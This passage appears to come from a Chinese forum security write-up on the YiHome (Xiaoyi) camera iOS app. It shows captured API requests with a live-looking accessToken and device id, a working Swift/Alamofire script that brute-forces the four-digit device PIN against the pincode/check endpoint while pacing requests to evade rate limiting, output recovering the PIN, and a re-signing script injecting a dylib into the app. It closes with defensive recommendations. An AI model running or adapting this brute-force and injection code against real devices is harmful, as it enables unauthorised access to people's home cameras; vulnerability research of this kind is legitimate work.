params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
==============================================
 - <__NSStackBlock__: 0x16fde5960> 
2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null) 
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{
    code = 0;
    message = ok;
    result = "";
}

对url中的data参数进行转义:

data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}

4个请求参数,分别如下:

  • did:yunyi.TNPCHNA-695008-FUKEN,即前面分析过的设备id
  • pincode:4位明文的密码
  • clientId:应该是平台分配的程序标识,这个值是固定的,沙盒中的account.plist文件也有这个值
  • accessToken:用于免登录和api请求

先尝试通过https://www.sojson.com/httpRequest/模拟请求,看能否通过 ,得到返回结果:

{
    "code": 0,
    "message": "ok",
    "result": {
        "ret": -1
    }
}

得到正常的响应,ret返回-1表示失败。使用错误的密码多试几次后,返回的数据也是一样的,可见平台并未对该接口pincode/check作保护,App限制5次输入也是本地的行为。请求参数中did、clientId是固定值,在不注销的情况下accessToken也是不变的,所以只需要将pincode从0000枚举到9999,进行模拟的post请求,就可以暴力破解设备密码

直接使用Almofire,发送模拟请求,发现每进行100次的串行请求,平台返回frequent的错误。这里每模拟请求50次,延迟10s继续进行,以规避该错误,具体参考代码见附录Almofire模拟请求。最终得到正确的密码 0411

Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0401
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0402
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0403
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0404
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0405
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0406
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0407
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0408
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0409
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0410
Data: {"code":0,"message":"ok","result":""}
Succeed...0411

除此之外,还可以得到很多其他的接口……

6 总结

综上,从数据缓存、数据传输方面分析了小蚁摄像机App的加密方式及安全性。从表象上看,缓存使用了复杂的对称加密方式,数据传输使用了HTTPS方式,安全性应该是非常高了。但是在hook之下,隐患一览无遗,扯去了安全的外衣,剩下的是一系列明文传输的接口。
从中,我觉得有几点值得反思:

(1)密码校验,平台一定要做防止暴力破解,而不是从App端进行限制

(2)Http请求,要在请求头中加上比较复杂的签名算法

(3)发布版本,需要屏蔽日志输出相关函数,以免被进行hook

附录

重签名脚本


APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"
TARGET_BUNDLEID="com.360ants.yihome"
KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C"

#配置信息打印
function printXcodeInfo()
{
    xcode-select --version
    xcode-select --print-path
    security find-identity -v -p codesigning
}

#注入动态库
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

#将文件拷贝到目录下
cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME
rm -f $APP_NAME.app/embedded.mobileprovision
rm -f -r $APP_NAME.app/_CodeSignature
cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision

#删除watch及PlugIns文件夹【可能会造成签名不正确的问题】
rm -r $APP_NAME.app/Watch/
rm -r $APP_NAME.app/PlugIns/

#替换图标
function copyIconWithSize () {
    SIZE=$1
    cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png
    cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png
}

copyIconWithSize "29"
copyIconWithSize "40"
copyIconWithSize "57"
copyIconWithSize "60"

#改变bundle identifier
echo "change bundle ID to ${TARGET_BUNDLEID}"
`/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist`

#先对动态库签名
codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME
#codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/*

#再对app签名
codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app

#删除旧的ipa,覆盖时可能会影响安装 
rm -r $TARGET_NAME

#使用Zip打包,注意文件结构 Payload/xxx.app
mkdir Payload
cp -r $APP_NAME.app Payload
zip -qr $TARGET_NAME Payload

#清除临时文件夹Payload
rm -rf Payload

#检验
echo "============================================================="
echo "签名信息:"
codesign -dvvv $APP_NAME.app

Almofire模拟请求代码段

func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest {
        let urlString = "https://openapp.io.mi.com/openapp/pincode/check"
        let header: HTTPHeaders = [
            "Content-Type" : "application/x-www-form-urlencoded"
        ]
        
        //注意data为非标准格式json
        let parameters: Parameters = [
            "data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}",
            "accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ",
            "clientId": "2882303761517230659"
        ]
        
        let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header)
        request.response { response in
            
            if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) {
                print("Data: \(utf8Text)")
                
                let json = JSON.parse(utf8Text)
                if let dic = json.dictionaryObject {
                    if let result = dic["result"] {
                        if result as? [String: Any] != nil {
                            print("Failed...\(pincode)")
                            completion(false)
                        } else {
                            print("Succeed...\(pincode)")
                            completion(true)
                        }
                    } else {
                        print("Failed...\(pincode)")
                        completion(false)
                    }
                }
            }
        }
        
        return request
    }
    
    
    func testYiHome(index: Int) {
        
        let pincode = String(format: "%04d", index)
        
        _ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in
            if result == false {
                
                if index != 0, index % 50 == 0 {
                    sleep(10)
                }
                
                self.testYiHome(index: index+1)
            }
        })
    }
    

Posts: 3

Participants: 3

Read full topic

Viewing all 301 articles
Browse latest View live